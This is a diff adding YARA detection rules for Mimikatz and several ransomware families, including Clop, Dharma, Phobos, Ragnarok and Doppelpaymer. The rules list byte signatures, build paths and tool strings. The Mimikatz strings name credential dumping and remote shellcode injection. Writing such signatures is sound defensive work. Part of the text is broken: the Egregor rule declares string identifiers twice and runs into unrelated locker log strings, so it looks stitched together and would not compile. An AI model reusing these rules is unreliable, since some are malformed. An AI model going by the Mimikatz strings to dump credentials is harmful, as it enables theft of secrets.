+ reference_sample = "66b4a0681cae02c302a9b6f1d611ac2df8c519d6024abdb506b4b166b93f636a"
+ scan_type = "File, Memory"
+ severity = 99
+ strings:
+ $a1 = { 44 30 00 38 00 }
+ $a2 = { 48 78 00 3A 00 }
+ $a3 = { 4C 25 00 30 00 }
+ $a4 = { 50 38 00 78 00 }
+ $a5 = { 54 5D 00 20 00 }
+ $a6 = { 58 25 00 77 00 }
+ $a7 = { 5C 5A 00 5C 00 }
+ $a8 = { 60 25 00 77 00 }
+ $a9 = { 64 5A 00 09 00 }
+ $a10 = { 6C 5A 00 0A 00 }
+ $a11 = { 68 25 00 77 00 }
+ $a12 = { 68 25 00 77 00 }
+ $a13 = { 6C 5A 00 0A 00 }
+ $b1 = { 6D 69 6D 69 C7 84 24 8C 00 00 00 6C 73 61 2E C7 84 24 90 00 00 00 6C 6F 67 }
+condition:
+ all of ($a*) or $b1
+}
+
+rule Windows_Hacktool_Mimikatz_355d5d3a {
+ meta:
+ id = "355d5d3a-e50e-4614-9a84-0da668c40852"
+ fingerprint = "9a23845ec9852d2490171af111612dc257a6b21ad7fdfd8bf22d343dc301d135"
+ creation_date = "2021-04-14"
+ last_modified = "2021-04-14"
+ description = "Detection for Invoke-Mimikatz"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Hacktool"
+ family = "Mimikatz"
+ threat_name = "Windows.Hacktool.Mimikatz"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference_sample = "945245ca795e0a3575ee4fdc174df9d377a598476c2bf4bf0cdb0cde4286af96"
+ scan_type = "File, Memory"
+ severity = 90
+ strings:
+ $a1 = "$PEBytes32 = \"TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwc"
+ $a2 = "$PEBytes64 = \"TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwc"
+ $b1 = "Write-BytesToMemory -Bytes $Shellcode"
+ $b2 = "-MemoryAddress $GetCommandLineWAddrTemp"
+ $b3 = "-MemoryAddress $GetCommandLineAAddrTemp"
+ $c1 = "Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes64, $PEBytes32, \"Void\", 0, \"\", $ExeArgs)" fullword
+ $c2 = "Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes64, $PEBytes32, \"Void\", 0, \"\", $ExeArgs) -ComputerNam"
+ $c3 = "at: http://blog.gentilkiwi.com"
+ $c4 = "on the local computer to dump certificates."
+ $c5 = "Throw \"Unable to write shellcode to remote process memory.\"" fullword
+ $c6 = "-Command \"privilege::debug exit\" -ComputerName \"computer1\""
+ $c7 = "dump credentials without"
+ $c8 = "#The shellcode writes the DLL address to memory in the remote process at address $LoadLibraryARetMem, read this memory" fullword
+ $c9 = "two remote computers to dump credentials."
+ $c10 = "#If a remote process to inject in to is specified, get a handle to it" fullword
+condition:
+ (1 of ($a*) or 2 of ($b*)) or 5 of ($c*)
+}
+
+rule Windows_Ransomware_Bitpaymer_d74273b3 : beta {
+ meta:
+ name = "YARA Ransomware - BITPAYMER Variant B"
+ id = "d74273b3-d109-4b5d-beff-dffee9a984b1"
+ fingerprint = "4f913f06f7c7decbeb78187c566674f91ebbf929ad7057641659bb756cf2991b"
+ creation_date = "2020-06-25"
+ last_modified = "2021-02-16"
+ description = "Identifies BITPAYMER ransomware"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Ransomware"
+ family = "Bitpaymer"
+ threat_name = "Windows.Ransomware.Bitpaymer"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference = "https://www.welivesecurity.com/2018/01/26/friedex-bitpaymer-ransomware-work-dridex-authors/"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $b1 = { 24 E8 00 00 00 29 F0 19 F9 89 8C 24 88 00 00 00 89 84 24 84 00 }
+condition:
+ 1 of ($b*)
+}
+
+rule Windows_Ransomware_Bitpaymer_bca25ac6 : beta {
+ meta:
+ name = "YARA Ransomware - BITPAYMER Variant A"
+ id = "bca25ac6-e351-4823-be75-b0661c89588a"
+ fingerprint = "2ecc7884d47ca7dbba30ba171b632859914d6152601ea7b463c0f52be79ebb8c"
+ creation_date = "2020-06-25"
+ last_modified = "2021-03-18"
+ description = "Identifies BITPAYMER ransomware"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Ransomware"
+ family = "Bitpaymer"
+ threat_name = "Windows.Ransomware.Bitpaymer"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference = "https://www.welivesecurity.com/2018/01/26/friedex-bitpaymer-ransomware-work-dridex-authors/"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "RWKGGE.PDB" fullword
+ $a2 = "*Qf69@+mESRA.RY7*+6XEF#NH.pdb" fullword
+ $a3 = "04QuURX.pdb" fullword
+ $a4 = "9nuhuNN.PDB" fullword
+ $a5 = "mHtXGC.PDB" fullword
+ $a6 = "S:\\Work\\_bin\\Release-Win32\\wp_encrypt_new.pdb" fullword
+ $a7 = "C:\\Work\\_bin\\Release-Win32\\wp_encrypt.pdb" fullword
+ $a8 = "k:\\softcare\\release\\h2O.pdb" fullword
+condition:
+ 1 of ($a*)
+}
+
+rule Windows_Ransomware_Clop_6a1670aa : beta {
+ meta:
+ name = "YARA Ransomware - CLOP Variant B"
+ id = "6a1670aa-7f78-455b-9e28-f39ed4c6476e"
+ fingerprint = "7c24cc6a519922635a519dad412d1a07728317b91f90a120ccc1c7e7e2c8a002"
+ creation_date = "2020-05-03"
+ last_modified = "2021-02-16"
+ description = "Identifies CLOP ransomware in unpacked state"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Ransomware"
+ family = "Clop"
+ threat_name = "Windows.Ransomware.Clop"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.clop"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $b1 = { FF 15 04 E1 40 00 83 F8 03 74 0A 83 F8 02 }
+condition:
+ 1 of ($b*)
+}
+
+rule Windows_Ransomware_Clop_e04959b5 : beta {
+ meta:
+ name = "YARA Ransomware - CLOP Variant A"
+ id = "e04959b5-f3da-428d-8b56-8a9817fdebe0"
+ fingerprint = "7367b90772ce6db0d639835a0a54a994ef8ed351b6dadff42517ed5fbc3d0d1a"
+ creation_date = "2020-05-03"
+ last_modified = "2021-03-18"
+ description = "Identifies CLOP ransomware in unpacked state"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Ransomware"
+ family = "Clop"
+ threat_name = "Windows.Ransomware.Clop"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.clop"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "-%s\\CIopReadMe.txt" wide fullword
+ $a2 = "CIopReadMe.txt" wide fullword
+ $a3 = "%s-CIop^_" wide fullword
+ $a4 = "%s%s.CIop" wide fullword
+ $a5 = "BestChangeT0p^_-666" ascii fullword
+ $a6 = ".CIop" wide fullword
+ $a7 = "A%s\\ClopReadMe.txt" wide fullword
+ $a8 = "%s%s.Clop" wide fullword
+ $a9 = "CLOP#666" wide fullword
+ $a10 = "MoneyP#666" wide fullword
+condition:
+ 1 of ($a*)
+}
+
+rule Windows_Ransomware_Clop_9ac9ea3e : beta {
+ meta:
+ name = "YARA Ransomware - CLOP Variant C"
+ id = "9ac9ea3e-72e1-4151-a2f8-87869f5f98e3"
+ fingerprint = "1cb0adb36e94ef8f8d74862250205436ed3694ed7719d8e639cfdd0c8632fd6c"
+ creation_date = "2020-05-03"
+ last_modified = "2021-02-16"
+ description = "Identifies CLOP ransomware in unpacked state"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Ransomware"
+ family = "Clop"
+ threat_name = "Windows.Ransomware.Clop"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.clop"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $c1 = { 8B 1D D8 E0 40 00 33 F6 8B 3D BC E0 40 00 }
+condition:
+ 1 of ($c*)
+}
+
+rule Windows_Ransomware_Clop_606020e7 : beta {
+ meta:
+ name = "YARA Ransomware - CLOP Variant D"
+ id = "606020e7-ce1a-4a48-b801-100fd22b3791"
+ fingerprint = "5ec4e00ddf2cb1315ec7d62dd228eee0d9c15fafe4712933d42e868f83f13569"
+ creation_date = "2020-05-03"
+ last_modified = "2021-02-16"
+ description = "Identifies CLOP ransomware in unpacked state"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Ransomware"
+ family = "Clop"
+ threat_name = "Windows.Ransomware.Clop"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.clop"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $d1 = { B8 E1 83 0F 3E F7 E6 8B C6 C1 EA 04 8B CA C1 E1 05 03 CA }
+condition:
+ 1 of ($d*)
+}
+
+rule Windows_Ransomware_Darkside_d7fc4594 {
+ meta:
+ id = "d7fc4594-185c-4afb-986e-5718c0beabf1"
+ fingerprint = "cc3adb3425b004fcc7b501932b9ac6c1531fbc35ee961680bfb06277b6c461b4"
+ creation_date = "2021-05-20"
+ last_modified = "2021-05-20"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Ransomware"
+ family = "Darkside"
+ threat_name = "Windows.Ransomware.Darkside"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference_sample = "bfb31c96f9e6285f5bb60433f2e45898b8a7183a2591157dc1d766be16c29893"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = { 5F 30 55 56 BD 0A 00 00 00 8B 07 8B 5F 10 8B 4F 20 8B 57 30 }
+ $a2 = { 75 05 8A 16 46 12 D2 73 E6 02 D2 75 05 8A 16 46 12 D2 73 4F }
+ $a3 = { 41 54 55 53 48 83 EC 28 48 8B 1F 4C 8B 66 08 48 8D 7C 24 10 4C }
+condition:
+ any of them
+}
+
+rule Windows_Ransomware_Dharma_aa5eefed : beta {
+ meta:
+ name = "YARA Ransomware - DHARMA Variant C"
+ id = "aa5eefed-7212-42c9-b51d-2c58c65b53e5"
+ fingerprint = "d3baf3474b450931b594322d190b243bdd813156ad80f04abcadde0db3bfe149"
+ creation_date = "2020-06-25"
+ last_modified = "2021-02-16"
+ description = "Identifies DHARMA ransomware"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Ransomware"
+ family = "Dharma"
+ threat_name = "Windows.Ransomware.Dharma"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference = "https://blog.malwarebytes.com/threat-analysis/2019/05/threat-spotlight-crysis-aka-dharma-ransomware-causing-a-crisis-for-businesses/"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $c1 = { 4D F0 51 8B 55 E8 52 E8 CD 10 00 00 83 C4 08 89 45 E8 8A 45 F9 04 01 88 45 F9 0F B6 4D F9 8B 55 E4 8A 04 0A 88 45 FB 0F B6 4D FB 0F B6 55 FA 03 D1 88 55 FA 0F B6 45 FA 8B 4D E4 8A 14 01 88 55 EF 0F B6 45 F9 8B 4D E4 8A 55 EF 88 14 01 0F B6 45 FA 8B 4D E4 8A 55 FB 88 14 01 8B 45 0C 03 45 F4 0F B6 08 0F B6 55 FB 0F B6 45 EF 03 D0 0F B6 D2 8B 45 E4 0F B6 14 10 33 CA 8B 45 E8 03 45 F4 88 08 }
+ $c2 = { 21 0C 7D 01 02 04 08 10 20 40 80 1B 36 6C D8 AB 4D 9A 2F 5E BC 63 C6 97 35 6A D4 B3 7D FA EF C5 91 00 00 A5 63 63 C6 84 7C 7C F8 99 77 77 EE 8D 7B 7B F6 0D F2 F2 FF BD 6B 6B D6 B1 6F 6F DE 54 C5 C5 91 50 30 30 60 03 01 01 02 A9 67 67 CE 7D 2B 2B 56 }
+condition:
+ 1 of ($c*)
+}
+
+rule Windows_Ransomware_Dharma_b31cac3f : beta {
+ meta:
+ name = "YARA Ransomware - DHARMA Variant B"
+ id = "b31cac3f-6e04-48b2-9d16-1a6b66fa8012"
+ fingerprint = "25d23d045c57758dbb14092cff3cc190755ceb3a21c8a80505bd316a430e21fc"
+ creation_date = "2020-06-25"
+ last_modified = "2021-03-18"
+ description = "Identifies DHARMA ransomware"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Ransomware"
+ family = "Dharma"
+ threat_name = "Windows.Ransomware.Dharma"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference = "https://blog.malwarebytes.com/threat-analysis/2019/05/threat-spotlight-crysis-aka-dharma-ransomware-causing-a-crisis-for-businesses/"
+ scan_type = "File, Memory"
+ severity = 100
+ author = "Daniel Stepanic"
+ rule_version = "1.0"
+ strings:
+ $b1 = "sssssbsss" ascii fullword
+ $b2 = "sssssbs" ascii fullword
+ $b3 = "RSDS%~m" ascii fullword
+condition:
+ 3 of ($b*)
+}
+
+rule Windows_Ransomware_Dharma_e9319e4a : beta {
+ meta:
+ name = "YARA Ransomware - DHARMA Variant D"
+ id = "e9319e4a-3850-4bad-9579-4b73199a0963"
+ fingerprint = "4a4f3aebe4c9726cf62dde454f01cbf6dcb09bf3ef1b230d548fe255f01254aa"
+ creation_date = "2020-06-25"
+ last_modified = "2021-02-16"
+ description = "Identifies DHARMA ransomware"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Ransomware"
+ family = "Dharma"
+ threat_name = "Windows.Ransomware.Dharma"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference = "https://blog.malwarebytes.com/threat-analysis/2019/05/threat-spotlight-crysis-aka-dharma-ransomware-causing-a-crisis-for-businesses/"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $d = { 08 8B 51 24 8B 45 08 8B 48 18 0F B7 14 51 85 D2 74 47 8B 45 08 8B }
+condition:
+ 1 of ($d*)
+}
+
+rule Windows_Ransomware_Dharma_942142e3 : beta {
+ meta:
+ name = "YARA Ransomware - DHARMA Variant A"
+ id = "942142e3-9197-41c4-86cc-66121c8a9ab5"
+ fingerprint = "e8ee60d53f92dd1ade8cc956c13a5de38f9be9050131ba727f2fab41dde619a8"
+ creation_date = "2020-06-25"
+ last_modified = "2021-03-18"
+ description = "Identifies DHARMA ransomware"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Ransomware"
+ family = "Dharma"
+ threat_name = "Windows.Ransomware.Dharma"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference = "https://blog.malwarebytes.com/threat-analysis/2019/05/threat-spotlight-crysis-aka-dharma-ransomware-causing-a-crisis-for-businesses/"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "C:\\crysis\\Release\\PDB\\payload.pdb" ascii fullword
+condition:
+ 1 of ($a*)
+}
+
+rule Windows_Ransomware_Doppelpaymer_6660d29f : beta {
+ meta:
+ name = "YARA Ransomware - DOPPELPAYMER Variant A"
+ id = "6660d29f-aca9-4156-90a0-ce64fded281a"
+ fingerprint = "8bf4d098b8ce9da99a2ca13fa0759a7185ade1b3ab3b281cd15749d68546d130"
+ creation_date = "2020-06-28"
+ last_modified = "2021-03-18"
+ description = "Identifies DOPPELPAYMER ransomware"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Ransomware"
+ family = "Doppelpaymer"
+ threat_name = "Windows.Ransomware.Doppelpaymer"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference = "https://www.crowdstrike.com/blog/doppelpaymer-ransomware-and-dridex-2/"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "Setup run" wide fullword
+ $a2 = "RtlComputeCrc32" ascii fullword
+condition:
+ 2 of ($a*)
+}
+
+rule Windows_Ransomware_Doppelpaymer_0b9b75b5 : beta {
+ meta:
+ name = "YARA Ransomware - DOPPELPAYMER Variant B"
+ id = "0b9b75b5-f521-4414-8216-cde5de6b8ff7"
+ fingerprint = "4fe2f648afa0031c2a4807ae882ddf19302ce6a6d26b04341950e84dbf6c1374"
+ creation_date = "2020-06-28"
+ last_modified = "2021-02-16"
+ description = "Identifies DOPPELPAYMER ransomware"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Ransomware"
+ family = "Doppelpaymer"
+ threat_name = "Windows.Ransomware.Doppelpaymer"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference = "https://www.crowdstrike.com/blog/doppelpaymer-ransomware-and-dridex-2/"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $b1 = { 8B D8 BA FF FF FF 7F 8B 4B }
+condition:
+ 1 of ($b*)
+}
+
+rule Windows_Ransomware_Doppelpaymer_6ab188da : beta {
+ meta:
+ name = "YARA Ransomware - DOPPELPAYMER Variant D"
+ id = "6ab188da-4e73-4669-816c-554b2f04ee65"
+ fingerprint = "6c33e09e66b337064a1feae5c162f72dc5f6caecaa9829e4ad9fffb10ef3e576"
+ creation_date = "2020-06-28"
+ last_modified = "2021-02-16"
+ description = "Identifies DOPPELPAYMER ransomware"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Ransomware"
+ family = "Doppelpaymer"
+ threat_name = "Windows.Ransomware.Doppelpaymer"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference = "https://www.crowdstrike.com/blog/doppelpaymer-ransomware-and-dridex-2/"
+ scan_type = "File, Memory"
+ severity = 100
+ author = "Daniel Stepanic"
+ rule_version = "1.0"
+ strings:
+ $d1 = { 56 55 55 55 F7 EF B8 56 55 55 55 8B EA F7 E9 8B C2 8B D1 C1 FA 1F 2B C2 C1 FF 1F 2B EF 8D 14 40 B8 F3 1A CA 6B 2B CA 03 E9 F7 ED 8B CD C1 FA 05 C1 F9 1F 2B D1 6B CA B4 03 CD 74 1C 81 E1 03 00 00 80 7D 07 83 E9 01 83 C9 FC 41 8B C1 F7 D8 85 C9 8D 7C 05 04 0F 45 EF 8D 44 55 02 5D 5F C3 }
+condition:
+ 1 of ($d*)
+}
+
+rule Windows_Ransomware_Doppelpaymer_4fb1a155 : beta {
+ meta:
+ name = "YARA Ransomware - DOPPELPAYMER Variant C"
+ id = "4fb1a155-6448-41e9-829a-e765b7c2570e"
+ fingerprint = "f7c1bb3e9d1ad02e7c4edf8accf326330331f92a0f1184bbc19c5bde7505e545"
+ creation_date = "2020-06-28"
+ last_modified = "2021-02-16"
+ description = "Identifies DOPPELPAYMER ransomware"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Ransomware"
+ family = "Doppelpaymer"
+ threat_name = "Windows.Ransomware.Doppelpaymer"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference = "https://www.crowdstrike.com/blog/doppelpaymer-ransomware-and-dridex-2/"
+ scan_type = "File, Memory"
+ severity = 100
+ author = "Daniel Stepanic"
+ rule_version = "1.0"
+ strings:
+ $c1 = { 83 EC 64 8B E9 8B 44 24 ?? 8B 00 0F B7 10 83 FA 5C 75 }
+condition:
+ 1 of ($c*)
+}
+
+rule Windows_Ransomware_Egregor_f24023f3 : beta {
+ meta:
+ name = "YARA Ransomware - EGREGOR Variant A"
+ id = "f24023f3-c887-42fc-8927-cdbd04b5f84f"
+ fingerprint = "3a82a548658e0823678ec9d633774018ddc6588f5e2fbce74826a46ce9c43c40"
+ creation_date = "2020-10-15"
+ last_modified = "2021-03-18"
+ description = "Identifies EGREGOR (Sekhemt) ransomware"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Ransomware"
+ family = "Egregor"
+ threat_name = "Windows.Ransomware.Egregor"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference = "https://www.bankinfosecurity.com/egregor-ransomware-adds-to-data-leak-trend-a-15110"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "M:\\sc\\p\\testbuild.pdb" ascii fullword
+ $a2 = "C:\\Logmein\\{888-8888-9999}\\Logmein.log" wide fullword
+ $a3 = "nIcG`]/h3kpJ0QEAC5OJC| black_list name=%s" wide fullword
+ $a2 = "[OK] locker.dir.check > name=%s" wide fullword
+ $a3 = "[ERROR] locker.worm > execute pcname=%s" wide fullword
+ $a4 = "[INFO] locker.work.enum.net_drive > enum finish name=%s" wide fullword
+ $a5 = "[WARN] locker.work.enum.server_shares > logon on server error=%u pcname=%s" wide fullword
+condition:
+ any of them
+}
+
+rule Windows_Ransomware_Phobos_a5420148 : beta {
+ meta:
+ name = "YARA Ransomware - PHOBOS Variant A"
+ id = "a5420148-2f80-4a14-8a0d-98943fcbe784"
+ fingerprint = "2b3937dbecb9a12e5e276c681eb40cb3884411a048175fcfe1bd4be3f7611aca"
+ creation_date = "2020-06-25"
+ last_modified = "2021-02-16"
+ description = "Identifies Phobos ransomware"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Ransomware"
+ family = "Phobos"
+ threat_name = "Windows.Ransomware.Phobos"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.phobos"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = { 61 00 63 00 75 00 74 00 65 00 00 00 61 00 63 00 74 00 69 00 6E 00 00 00 61 00 63 00 74 00 6F 00 6E 00 00 00 61 00 63 00 74 00 6F 00 72 00 00 00 61 00 63 00 75 00 66 00 66 00 00 }
+ $a2 = { 0C 6D 00 73 00 66 00 74 00 65 00 73 00 71 00 6C 00 2E 00 65 00 78 00 65 00 00 00 73 00 71 00 6C 00 61 00 67 00 65 00 6E 00 74 00 2E 00 65 00 78 00 65 00 00 00 73 00 71 00 6C 00 62 00 72 00 6F 00 77 00 73 00 65 00 72 00 2E 00 65 00 78 00 65 00 00 00 73 00 71 00 6C 00 73 00 65 00 72 00 76 00 72 00 2E 00 65 00 78 00 65 00 00 00 73 00 71 00 6C 00 77 00 72 00 69 00 74 00 65 00 72 00 2E 00 65 00 78 00 65 00 00 00 6F 00 72 00 61 00 63 00 6C 00 65 00 2E 00 65 00 78 00 }
+ $a3 = { 31 00 63 00 64 00 00 00 33 00 64 00 73 00 00 00 33 00 66 00 72 00 00 00 33 00 67 00 32 00 00 00 33 00 67 00 70 00 00 00 37 00 7A 00 00 00 61 00 63 00 63 00 64 00 61 00 00 00 61 00 63 00 63 00 64 00 62 00 00 00 61 00 63 00 63 00 64 00 63 00 00 00 61 00 63 00 63 00 64 00 65 00 00 00 61 00 63 00 63 00 64 00 74 00 00 00 61 00 63 00 63 00 64 00 77 00 00 00 61 00 64 00 62 00 00 00 61 00 64 00 70 00 00 00 61 00 69 00 00 00 61 00 69 00 33 00 00 00 61 00 69 00 34 00 00 00 61 00 69 00 35 00 00 00 61 00 69 00 36 00 00 00 61 00 69 00 37 00 00 00 61 00 69 00 38 00 00 00 61 00 6E 00 69 00 6D 00 00 00 61 00 72 00 77 00 00 00 61 00 73 00 00 00 61 00 73 00 61 00 00 00 61 00 73 00 63 00 00 00 61 00 73 00 63 00 78 00 00 00 61 00 73 00 6D 00 00 00 61 00 73 00 6D 00 78 00 00 00 61 00 73 00 70 00 00 00 61 00 73 00 70 00 78 00 00 00 61 00 73 00 72 00 00 00 61 00 73 00 78 00 00 00 61 00 76 00 69 00 00 00 61 00 76 00 73 00 00 00 62 00 61 00 63 00 6B 00 75 00 70 00 00 00 62 00 61 00 6B 00 00 00 62 00 61 00 79 00 00 00 62 00 64 00 00 00 62 00 69 00 6E 00 00 00 62 00 6D 00 70 00 00 00 }
+condition:
+ 2 of ($a*)
+}
+
+rule Windows_Ransomware_Phobos_ff55774d : beta {
+ meta:
+ name = "YARA Ransomware - PHOBOS Variant C"
+ id = "ff55774d-4425-4243-8156-ce029c1d5860"
+ fingerprint = "d8016c9be4a8e5b5ac32b7108542fee8426d65b4d37e2a9c5ad57284abb3781e"
+ creation_date = "2020-06-25"
+ last_modified = "2021-02-16"
+ description = "Identifies Phobos ransomware"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Ransomware"
+ family = "Phobos"
+ threat_name = "Windows.Ransomware.Phobos"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.phobos"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $c1 = { 24 18 83 C4 0C 8B 4F 0C 03 C6 50 8D 54 24 18 52 51 6A 00 6A 00 89 44 }
+condition:
+ 1 of ($c*)
+}
+
+rule Windows_Ransomware_Phobos_11ea7be5 : beta {
+ meta:
+ name = "YARA Ransomware - PHOBOS Variant B"
+ id = "11ea7be5-7aac-41d7-8d09-45131a9c656e"
+ fingerprint = "a264f93e085134e5114c5d72e1bf93e70935e33756a79f1021e9c1e71d6c8697"
+ creation_date = "2020-06-25"
+ last_modified = "2021-02-16"
+ description = "Identifies Phobos ransomware"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Ransomware"
+ family = "Phobos"
+ threat_name = "Windows.Ransomware.Phobos"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.phobos"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $b1 = { C0 74 30 33 C0 40 8B CE D3 E0 85 C7 74 19 66 8B 04 73 66 89 }
+condition:
+ 1 of ($b*)
+}
+
+rule Windows_Ransomware_Ragnarok_1cab7ea1 : beta {
+ meta:
+ name = "YARA Ransomware - RAGNAROK Variant C"
+ id = "1cab7ea1-8d26-4478-ab41-659c193b5baa"
+ fingerprint = "e2a8eabb08cb99c4999e05a06d0d0dce46d7e6375a72a6a5e69d718c3d54a3ad"
+ creation_date = "2020-05-03"
+ last_modified = "2021-03-18"
+ description = "Identifies RAGNAROK ransomware"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Ransomware"
+ family = "Ragnarok"
+ threat_name = "Windows.Ransomware.Ragnarok"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference = "https://twitter.com/malwrhunterteam/status/1256263426441125888?s=20"
+ scan_type = "File, Memory"
+ severity = 100
+ author = "Daniel Stepanic"
+ rule_version = "1.0"
+ strings:
+ $c1 = ".ragnarok" ascii wide fullword
+condition:
+ 1 of ($c*)
+}
+
+rule Windows_Ransomware_Ragnarok_7e802f95 : beta {
+ meta:
+ name = "YARA Ransomware - RAGNAROK Variant D"
+ id = "7e802f95-964e-4dd9-a5d1-13a6cd73d750"
+ fingerprint = "c62b3706a2024751f1346d0153381ac28057995cf95228e43affc3d1e4ad0fad"
+ creation_date = "2020-05-03"
+ last_modified = "2021-02-16"
+ description = "Identifies RAGNAROK ransomware"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Ransomware"
+ family = "Ragnarok"
+ threat_name = "Windows.Ransomware.Ragnarok"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference = "https://twitter.com/malwrhunterteam/status/1256263426441125888?s=20"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $d1 = { 68 04 94 42 00 FF 35 A0 77 43 00 }
+ $d2 = { 68 90 94 42 00 FF 35 A0 77 43 00 E8 8F D6 00 00 8B 40 10 50 }
+condition:
+ 1 of ($d*)
+}
+
+rule Windows_Ransomware_Ragnarok_efafbe48 : beta {
+ meta:
+ name = "YARA Ransomware - RAGNAROK Variant A"
+ id = "efafbe48-7740-4c21-b585-467f7ad76f8d"
+ fingerprint = "a1535bc01756ac9e986eb564d712b739df980ddd61cfde5a7b001849a6b07b57"
+ creation_date = "2020-05-03"
+ last_modified = "2021-03-18"
+ description = "Identifies RAGNAROK ransomware"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Ransomware"
+ family = "Ragnarok"
+ threat_name = "Windows.Ransomware.Ragnarok"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference = "https://twitter.com/malwrhunterteam/status/1256263426441125888?s=20"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "cmd_firewall" ascii fullword
+ $a2 = "cmd_recovery" ascii fullword
+ $a3 = "cmd_boot" ascii fullword
+ $a4 = "cmd_shadow" ascii fullword
+ $a5 = "readme_content" ascii fullword
+ $a6 = "readme_name" ascii fullword
+ $a8 = "rg_path" ascii fullword
+ $a9 = "cometosee" ascii fullword
+ $a10 = "&prv_ip=" ascii fullword
+condition:
+ 6 of ($a*)
+}
+
+rule Windows_Ransomware_Ragnarok_5625d3f6 : beta {
+ meta:
+ name = "YARA Ransomware - RAGNAROK Variant B"
+ id = "5625d3f6-7071-4a09-8ddf-faa2d081b539"
+ fingerprint = "5c0a4e2683991929ff6307855bf895e3f13a61bbcc6b3c4b47d895f818d25343"
+ creation_date = "2020-05-03"
+ last_modified = "2021-03-18"
+ description = "Identifies RAGNAROK ransomware"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Ransomware"
+ family = "Ragnarok"
+ threat_name = "Windows.Ransomware.Ragnarok"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference = "https://twitter.com/malwrhunterteam/status/1256263426441125888?s=20"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $b1 = "prv_ip" ascii fullword
+ $b2 = "%i.%i.%i" ascii fullword
+ $b3 = "pub_ip" ascii fullword
+ $b4 = "cometosee" ascii fullword
+condition:
+ all of ($b*)
+}
+
+rule Windows_Ransomware_Ryuk_25d3c5ba : beta {
+ meta:
+ name = "YARA Ransomware - RYUK Variant G"
+ id = "25d3c5ba-8f80-4af0-8a5d-29c974fb016a"
+ fingerprint = "18e70599e3a187e77697844fa358dd150e7e25ac74060e8c7cf2707fb7304efd"
+ creation_date = "2020-04-30"
+ last_modified = "2021-02-16"
